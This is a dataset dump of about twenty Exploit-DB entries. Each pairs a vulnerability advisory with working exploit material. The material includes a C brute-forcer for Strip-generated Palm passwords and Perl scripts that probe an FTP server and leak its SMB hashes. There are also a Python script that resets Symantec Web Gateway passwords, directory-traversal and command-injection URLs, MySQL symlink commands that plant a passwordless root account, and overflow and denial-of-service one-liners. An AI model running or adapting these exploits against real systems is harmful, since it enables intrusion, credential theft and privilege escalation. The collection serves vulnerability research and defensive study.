QLWD/code_shield huggingface dataset:
标题: Strip Password Generator 0.3/0.4/0.5 - Limited Password-Space EDB-ID: 20746 CVE: 2001-0597 类型: LOCAL 平台: PALM_OS 发布日期: 2001-04-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/2567/info

Strip is a password generation utility made freely available by Zetetic Enterprises. Strip is a PalmOS based application designed to generate and store important passwords.

A problem with Strip makes it possible for a user that has attained an encrypted password generated with Strip to easily guess the password. The pseudo-random number generation is done through the SysRandom() syscall of PalmOS, which offers simplistic number generation. Additionally, the PNRG is seeded with number that may be small depending on the operation time of the Palm device. Finally, the maximum size of the seed is 16 bits.

Therefore, it is possible for a user to easily guess passwords generated with Strip, which have a maximum of 2^16 possibilities. 

/*
 * Crack passwords generate by strip ("Secure Tool for Recalling
 * Important Passwords") for the Palm; see
 * <http://www.zetetic.net/products.html> for details.
 * 
 * Copyright (c) 2001 by Thomas Roessler
 * <roessler@does-not-exist.org>.
 * 
 * Use, distribute and modify freely.
 * 
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <crypt.h>

/* The PalmOS SysRandom() RNG. */

static unsigned int multiplier = 22695477;
static unsigned int _seed = 0;

short palm_rand (unsigned int new_seed)
{
  if (new_seed)
    _seed = new_seed;
  
  _seed = (_seed * multiplier) + 1;
  return (short)  ((_seed >> 16)  & 0x7fff);
}

/* 
 * Strip's password generation algorithm for the alphanumeric case - 
 * you can easily change this to cover the other cases as well.
 */

static char *alphas = "abcdefhijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char *numerics = "0123456789";

char *possible_password (unsigned int seed, int size)
{
  static char pwbuff[1024];
  char z[1024];
  int i, r;
  int valids;

  if (size > sizeof (pwbuff))
    exit (1);
  
  sprintf (z, "%s%s",numerics, alphas);
  valids = strlen (z);
  
  r = palm_rand (seed);

  for (i = 0; i < size; i++)
  {
    r = palm_rand (0);
    pwbuff[i] = z[r % valids];
  }
  pwbuff[i] = '\0';
  
  return pwbuff;
}

/* check all possible passwords */

int main (int argc, char *argv[])
{
  int i;
  char *pw;
  
  for (i = 0; i <= 0xffff; i++)
  {
    pw = possible_password ((short) i, 8);
    if (!argv[1] || !strcmp (argv[1], crypt (pw, argv[1])))
      printf ("%s\n", pw);
  }
  
  return 0;
} URL: https://www.exploit-db.com/exploits/20746
标题: SCO Open Server 5.0.6 - lpshut Buffer Overflow EDB-ID: 20737 CVE: 2001-0575 类型: DOS 平台: SCO 发布日期: 2001-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2555/info


SCO OpenServer 5.0.6 (and possibly earlier versions) ships with several suid bin executables used in printer administration and related tasks.

This includes lpshut, a component used to shut down the LP print service. 'lpshut' contains a locally exploitable bufffer overflow due to a lack of bounds checking during operations performed on user-supplied data.

An attacker may exploit this vulnerability to execute arbitrary code with effective userid 'bin' privileges. 

/opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpshut `perl -e 'print "A" x 7000'`

Memory fault - core dumped URL: https://www.exploit-db.com/exploits/20737
标题: SCO Open Server 5.0.6 - lpforms Buffer Overflow EDB-ID: 20736 CVE: 2001-0578 类型: DOS 平台: SCO 发布日期: 2001-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2554/info

SCO OpenServer 5.0.6 (and possibly earlier versions) ships with several suid bin executables used in printer administration and related tasks.

This includes lpforms, a component used to manage and configure print destinations, devices and printer interface programs.

'lpforms' contains a locally exploitable buffer overflow vulnerability. If a command line parameter argument is of excessive length, a stack overflow condition will occur.

An attacker may exploit this vulnerability execute arbitrary code with effective user 'bin' privileges. 

/opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpforms `perl -e 'print "A" x 7000'`

Memory fault - core dumped URL: https://www.exploit-db.com/exploits/20736
标题: SCO OpenServer 5.0.6 - lpadmin Buffer Overflow EDB-ID: 20735 CVE: 2001-0579 类型: DOS 平台: SCO 发布日期: 2001-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2553/info

SCO OpenServer 5.0.6 (and possibly earlier versions) ships with several suid 'bin' executables used in printer administration and related tasks.

This includes lpadmin, a component used to manage and configure print destinations, devices and printer interface programs.

'lpadmin' contains a locally exploitable buffer overflow condition present in the handling of command-line parameters.

If properly exploited, this can yield user 'bin' privileges to the attacker. 

/opt/K/SCO/Unix/5.0.6Ga/usr/lib/lpadmin `perl -e 'print "A" x 7000'`

Memory fault - core dumped URL: https://www.exploit-db.com/exploits/20735
标题: Cisco PIX 4.x/5.x TACACS+ - Denial of Service EDB-ID: 20734 CVE: 2001-0375 类型: DOS 平台: HARDWARE 发布日期: 2001-04-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/2551/info

PIX is an enterprise firewall engineered and maintained by Cisco Systems. It is designed to provide robust features and multiple methods of access control and filtering.

A problem with the PIX could allow a denial of service. PIX firewalls using TACACS+ are vulnerable to a resource starvation attack which results in a denial of service. Upon receiving multiple requests for TACACS+ authentication from an unauthorized user, the firewalls resources can be exhausted. This causes the firewall to crash, requiring power cycling to resume regular service.

This makes it possible for a user from either the public or private side of the PIX to crash the firewall, and deny service to legitimate users.

All PIX Firewalls having configuration lines beginning with the following line are affected:
pixfirewall# aaa authentication

Any configurations not including aaa authentication are not affected. 

while (true); do (wget http://external.system 2>/dev/null &); done URL: https://www.exploit-db.com/exploits/20734
标题: PGP 5.x/6.x/7.0 - ASCII Armor Parser Arbitrary File Creation EDB-ID: 20738 CVE: 2001-0265 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-04-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/2556/info

ASCII Armor is a text based encoding format used by PGP (Pretty Good Privacy). While it is possible to encode any file using ASCII Armor, it is used by PGP to encode signature files and public keys to facilitate transmission in e-mail messages.

When a user opens a document for verification in PGP, its corresponding .sig file must be decoded from ASCII Armor.

Due to a flaw in the implementation of the decoder, an arbitrary file can be created on a users system. The file created would be of the attackers choice. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20738.doc.sig URL: https://www.exploit-db.com/exploits/20738
标题: Gene6 BPFTP Server 2.0 - File Existence Disclosure EDB-ID: 20726 CVE: 2001-0263 类型: REMOTE 平台: WINDOWS 发布日期: 2001-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/2537/info

A user can confirm the existence and location of files and directory structure information, by submitting a 'size' or 'mdtm' command of a file. If the command is carried out by the vulnerable service, the attacker can confirm the location of the file.

Submitting a 'size' or 'mdtm' command for a file outside of the FTP root could disclose directory structure information of unpublished filesystems on the host. If the requested command is fulfilled by the vulnerable service, the attacker can confirm the relative path to the file.

Either request is achievable even if the 'show relative paths' option is not enabled. 

#!/usr/bin/perl
# g6-find.pl
# example G6 Ftp Server file disclosure vulnerability script
use Getopt::Std;
use IO::Socket;
getopts('h:l:p:',\%args);
my ($CRLF,$port,$login,$pass,$sock_res,$win_base,$iis_base,@drives);
$CRLF = "\015\012";
@drives = ("c","d","e","f");
$port = 21;
$login = 'anonymous';
$pass = 'user@myhost.com';
if (defined $args{h}) { $host = $args{h}; } else { print "No host
specified.\n"; exit; }
if (defined $args{l}) { $login = $args{l}; }
if (defined $args{p}) { $pass = $args{p}; }
$sock =
IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host,PeerPort=>$port) ||
die("Socket errors: $!");
$sock_res = <$sock>;
print $sock "USER $login" . $CRLF;
$sock_res = <$sock>;
print $sock "PASS $pass" . $CRLF;
$sock_res = <$sock>;
if ($sock_res !~ /230\s/) { print "Login/password not
accepted...exiting.\n"; close($sock); exit; }
print $sock "PWD" . $CRLF;
$sock_res = <$sock>;
if (lc($sock_res) !~ /\/[a-z][:]\//) { print "Looks like 'show relative
path' is enabled...exiting.\n";close($sock);exit;}
print "Attempting to locate system files...";
$win_base = &FindWindows;
$iis_base = &FindIIS;
print "done.\n\n"; close($sock);
print "Windows directory: $win_base\n";
print "Hints to IIS path: $iis_base\n";
exit;
sub FindWindows {
my @win_dirs = ("win","windows","winnt","winme");
        foreach $drive (@drives)
        {
                foreach $dir (@win_dirs)
                {
                        print ".";
                        print $sock "SIZE
/$drive:/$dir/regedit.exe" . $CRLF;
                        $sock_res = <$sock>;
                        if ($sock_res =~ /213\s/) {
return("$drive:\\$dir");}
                }
        }
return("not found");
}

sub FindIIS {
my @iis_files =
("Inetpub/wwwroot/_vti_inf.html","Inetpub/Adminscripts/adsutil.vbs","Inetpub/wwwroot/default.asp");
        foreach $drive (@drives)
        {
                foreach $file (@iis_files)
                {
                        print ".";
                        print $sock "SIZE /$drive:/$file" . $CRLF;
                        $sock_res = <$sock>;
                        if ($sock_res =~ /213\s/) { 
                                $file =~ s/\//\\/g;                     
                                return("$drive:\\$file");
                        }
                }
        }
return("not found");    
} URL: https://www.exploit-db.com/exploits/20726
标题: PHP-Nuke 1.0/2.5/3.0/4.x - Remote Ad Banner URL Change EDB-ID: 20729 CVE: 2001-0383 类型: WEBAPPS 平台: PHP 发布日期: 2001-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/2544/info

PHP-Nuke is a website creation/maintainence tool written in PHP3.

A PHP-Nuke feature supporting cycling ad banners is subject to interference from a remote user.

A querystring can be submitted to an unpatched server which allows the remote user to specify a new destination URL to be opened in a visitor's browser upon clicking a PHP-nuke site's ad banner.

By changing the click-through destination of a banner ad, an attacker could interfere with the target's ad-based revenue generation.

To change the url of the first banner you should enter in your browser

http://target/banners.php?op=Change&bid=bannerid&url=http://where.to

if we want to change the banner number 1 to redir to

www.you_are_redir

we write

http://www.example.com/banners.php?op=Change&bid=1&url=http://you.are.redir

(where www.example.com is the server running php-nuke) URL: https://www.exploit-db.com/exploits/20729
标题: Microburst uStorekeeper 1.x - Arbitrary Commands EDB-ID: 20725 CVE: 2001-0466 类型: REMOTE 平台: CGI 发布日期: 2001-04-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/2536/info

A vulnerability exists in versions of uStorekeeper Online Shopping System from Microburst Technologies.

The script fails to properly validate user-supplied input, allowing remote users to submit URLs containing '/../' sequences and arbitrary filenames or commands, which will be executed or displayed with the privilege level of the webserver user.

This permits the remote user to request files and execute commands from arbitrary locations on the host filesystem, outside the script's normal directory scope.

http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../etc/hosts

http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../bin/ls |

http://www.example.com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../../../etc/passwd

http://www.example .com/cgi-bin/ustorekeeper.pl?command=goto&file=../../../../../../../../.
./../../../../bin/cat%20ustorekeeper.pl| URL: https://www.exploit-db.com/exploits/20725
标题: Gene6 BPFTP FTP Server 2.0 - User Credentials Disclosure EDB-ID: 20723 CVE: 2001-0264 类型: REMOTE 平台: WINDOWS 发布日期: 2001-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/2534/info

G6 FTP Server now known as BPFTP Server is an internet FTP server by Gene6

If a logged in FTP user connects to an external share and submits a malformed 'size' or 'mdtm' command, the user could force the FTP server to make an external SMB connection.

The FTP server must provide login credentials of the user the server is running under in order to make a connection to the remote host. A password hash is sent across the external connection to the host. A third party network utility could be listening for internal and external traffic and capture the password hash. The captured hash could be resolved into the username and password.

#!/usr/bin/perl
# G6-2nbt.pl - example G6 ftp server netbios connection script
#
# Tested on win32 and Linux, Linux requires share name to be in
# the format: \\\\host\\share\\path or //host/share/path

use Getopt::Std;
use IO::Socket;

my($host,$login,$pass,$share,$CRLF,$result);

$CRLF = "\015\012";
getopts('h:l:p:s:',\%args);

if (!defined $args{h}){ print "No host specified.\n";exit;}else{$host =
$args{h};}
if (!defined $args{s}){ print "No share specified.\n";exit;}else{$share =
$args{s};}
if (!defined $args{l} || !defined $args{p}){($login,$pass) =
('anonymous','user@myhost.com');}
else { ($login,$pass) = ($args{l},$args{p});}

$our_sock =
IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>$host,PeerPort=>21)||
die("Socket problems.");

print "Connected!\n";
print "Login...";

print $our_sock "USER $login" . $CRLF;
$result = <$our_sock>;
if ($result !~ /331\s/) { print "User name not accepted or an error
occurred...exiting.\n";close($our_sock);exit; }

print "good.\nPass....";

print $our_sock "PASS $pass" . $CRLF;
$result = <$our_sock>;
if ($result !~ /230\s/) { if ($result =~ /530\s/) { print "Login/password
incorrect exiting.\n";close($our_sock);exit; } else { print "Login
failure..exiting.\n";close($our_sock);exit; }}

print "good.\nTesting path type...";

print $our_sock "PWD" . $CRLF;
$result = <$our_sock>;
$result = <$our_sock>;
if (lc($result) !~ /\/[a-z][:]\//) { print "Looks like 'show relative
path' is enabled...exiting.\n";close($our_sock);exit;}

print "not relative path.\nSending UNC to connect to...";

print $our_sock "SIZE $share" . $CRLF;
print "completed.\nCheck your logs.\n";

close($our_sock);
exit; URL: https://www.exploit-db.com/exploits/20723
标题: elron im Anti-Virus 3.0.3 - Directory Traversal EDB-ID: 20717 CVE: 2001-0571 类型: REMOTE 平台: WINDOWS 发布日期: 2001-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/2519/info

Elron IM is a suite of tools providing internet filtering, virus protection, and other features.

Certain non-current versions of products in the Internet Manager suite, including IM Anti-Virus, are vulnerable to directory traversal attacks.

An attacker can compose a long path which includes '/../' sequences, and submit it as a file request to the built-in webserver. The server will not filter 'dot-dot' sequences from the path, permitting the attacker to specify files outside the directory tree normally available to users.

This can permit disclosure of confidential data and sensitive system files which, if properly exploited, could lead to further compromises of the host's security.

http://target:80/../../../../../../boot.ini will, in most cases, return the specified file. In some cases, more "../" sequences will be required. URL: https://www.exploit-db.com/exploits/20717
标题: anaconda clipper 3.3 - Directory Traversal EDB-ID: 20714 CVE: 2001-0593 类型: REMOTE 平台: CGI 发布日期: 2001-03-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/2512/info

Clipper is a headline-gathering tool from Anaconda! Partners which, in certain versions, is vulnerable to directory traversal attacks.

By including '/../' sequences in requested URLs, an attacker can cause the retrieval of arbitrary files, compromising the privacy of user data and potentially obtaining information which could be used to further compromise the host's security. 

http://www.target.com/cgi-bin/anacondaclip.pl?template=../../../../../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/20714
标题: Caucho Technology Resin 1.2/1.3 - JavaBean Disclosure EDB-ID: 20722 CVE: 2001-0399 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/2533/info

A specially constructed HTTP request could enable a remote attacker to gain read access to any known JavaBean file residing on a host running Resin.

On Resin webservers, JavaBean files reside in a protected directory, '/WEB-INF/classes/'. Unfortunately, this protection can be bypassed due to an input validation bug in the Resin webserver. If an attacker inserts the substring '.jsp' before the path of the JavaBean in the request, the webserver will incorrectly interpret the request and serve the contents of the requested JavaBean to the client.

An attacker exploiting this may be able to gain sensitive information contained in the JavaBeans. 

http://target/.jsp/WEB-INF/classes/filename URL: https://www.exploit-db.com/exploits/20722
标题: MySQL 3.20.32 a/3.23.34 - Root Operation Symbolic Link File Overwriting EDB-ID: 20718 CVE: 2001-0407 类型: LOCAL 平台: UNIX 发布日期: 2001-03-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/2522/info

MySQL is a relational database management system (RDBMS), freely available and open source. It is maintained by MySQL AB.

A problem with the implementation of some MySQL databases may permit local users to overwrite sensitive system files. This problem affects MySQL implementations that run the database under the uid of root. By using a symbolic link in the /var/tmp directory, and linking it to a file that is write-accesible by root, a user can log into the database with their account, and create a table with a name corresponding to that of the symbolic link. The creation of the table will overwrite the linked file, and any data created within the table will be written to the file that has been symbolically linked. This is dependent entirely upon the attacker having a MySQL account with the "create table" privilege.

Therefore, it is possible for a local user to overwrite sensitive system files, and potentially gain elevated privileges, including administrative access.

$ cd /var/tmp
$ ln -s /etc/passwd gotcha.ISD
$ ln -s /etc/shadow make_me_r00t.ISD
$ mysql -u user -h localhost -p somepassword '../../tmp'
create table gotcha(qqq varchar(255));
create table make_me_r00t(qqq varchar(255));
insert into gotcha values('\nr00t::0:0:Hacked_Fucked_R00T:/:/bin/sh\n');
insert into make_me_r00t values('\nr00t::1:0:99999:7:-1:-1:\n');
\q
$ URL: https://www.exploit-db.com/exploits/20718
标题: Junsoft JSparm 4.0 - Logging Output File EDB-ID: 20715 CVE: 2001-0403 类型: LOCAL 平台: SOLARIS 发布日期: 2001-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/2515/info

JSparm is the Junsoft Performance Analysis Report Maker package. This software package provides an enhanced perfmon performance monitoring package and interface, as well as a performance report generation interface.

A problem with the package could make it possible for a user with local access to overwrite any file on the system. It is possible for a user to launch the perfmon program from the command line interface, and create a logfile of activity monitored by the perfmon package. The user may specify the file in which the activity should be logged. Insufficient checking of file permissions, as well as the program being SUID, make it possible for the log file to be any file on the system. The file created/overwritten is set to mode 0666.

Therefore, it is possible for a user with local access to overwrite sensitive system files, and gain elevated privileges. 


$ whoami
loveyou
$ umask 0000
$ /opt/JSparm/bin/perfmon &

Choose Logging -> Logging File
In Selection part, input the file path you want to create
ex: /.rhosts

Following file is created in a second.
-rw-rw-rw- 1 root loveyou 144 Mar 9 03:14 .rhost URL: https://www.exploit-db.com/exploits/20715
标题: Apache Tomcat 3.0 - Directory Traversal EDB-ID: 20716 CVE: 2001-0590 类型: REMOTE 平台: WINDOWS 发布日期: 2001-03-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/2518/info

Apache Tomcat in a Windows NT environment could be led to traverse the normal directory structure and return requested files from outside of the document root.

By including '/../' sequences along with specially chosen characters in requested URLs, a remote user can obtain read access to directories and files outside of the document root, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host. 

The following examples have been provided by lovehacker <lovehacker@263.net>:

http://www.example.com/../../winnt/win.ini%00examples/jsp/hello.jsp

Will cause the Tomcat server to send back the content of win.ini.

http://www.example.com/%2e%2e/%2e%2e/%00.jsp

will disclose a directory listing from outside Tomcat's normal directory tree.

http://www.example.com/%2e%2e/%2e%2e%5cfilename%00.jsp

will reveal the requested file [filename]. URL: https://www.exploit-db.com/exploits/20716
标题: WU-FTPD 2.4/2.5/2.6 / Trolltech ftpd 1.2 / ProFTPd 1.2 / BeroFTPD 1.3.4 FTP - glob Expansion EDB-ID: 20690 CVE: 2001-1501 类型: REMOTE 平台: LINUX 发布日期: 2001-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/2496/info

Many FTP servers are vulnerable to a denial of service condition resulting from poor globbing algorithms and user resource usage limits.

Globbing generates pathnames from file name patterns used by the shell, eg. wildcards denoted by * and ?, multiple choices denoted by {}, etc.

The vulnerable FTP servers can be exploited to exhaust system resources if per-user resource usage controls have not been implemented. 

#!/bin/bash=20
ftp -n FTP-SERVER<<\end=20
quot user anonymous
bin
quot pass shitold@bug.com
ls /../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
bye=20
end=20 URL: https://www.exploit-db.com/exploits/20690
标题: Symantec Web Gateway 5.0.3.18 - Arbitrary Password Change EDB-ID: 20707 CVE: 2012-2977 类型: WEBAPPS 平台: LINUX 发布日期: 2012-08-21 漏洞利用脚本: #!/usr/bin/python

import urllib
import urllib2
import re
import sys

print "[*] ###########################################################"
print "[*] Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change"
print "[*] @_Kc57"
print "[*] ###########################################################\n"


if (len(sys.argv) != 4):
 print "Usage: poc.py <RHOST> <username> <newpassword>"
 exit(0)

ip = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

url = "https://%s/spywall/temppassword.php" % (ip)

opts = {
 'target':'executive_summary.php',
 'USERNAME':username,
 'password':password,
 'password2':password,
 'Save':'Save'
}

print "[*] Sending request to server..."

data = urllib.urlencode(opts)
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)

match = re.search('Your new password has been saved', response.read())

if(match):
 print "[*] Password for %s changed to %s" %(username,password)
else:
 print "[*] Password change failed!" URL: https://www.exploit-db.com/exploits/20707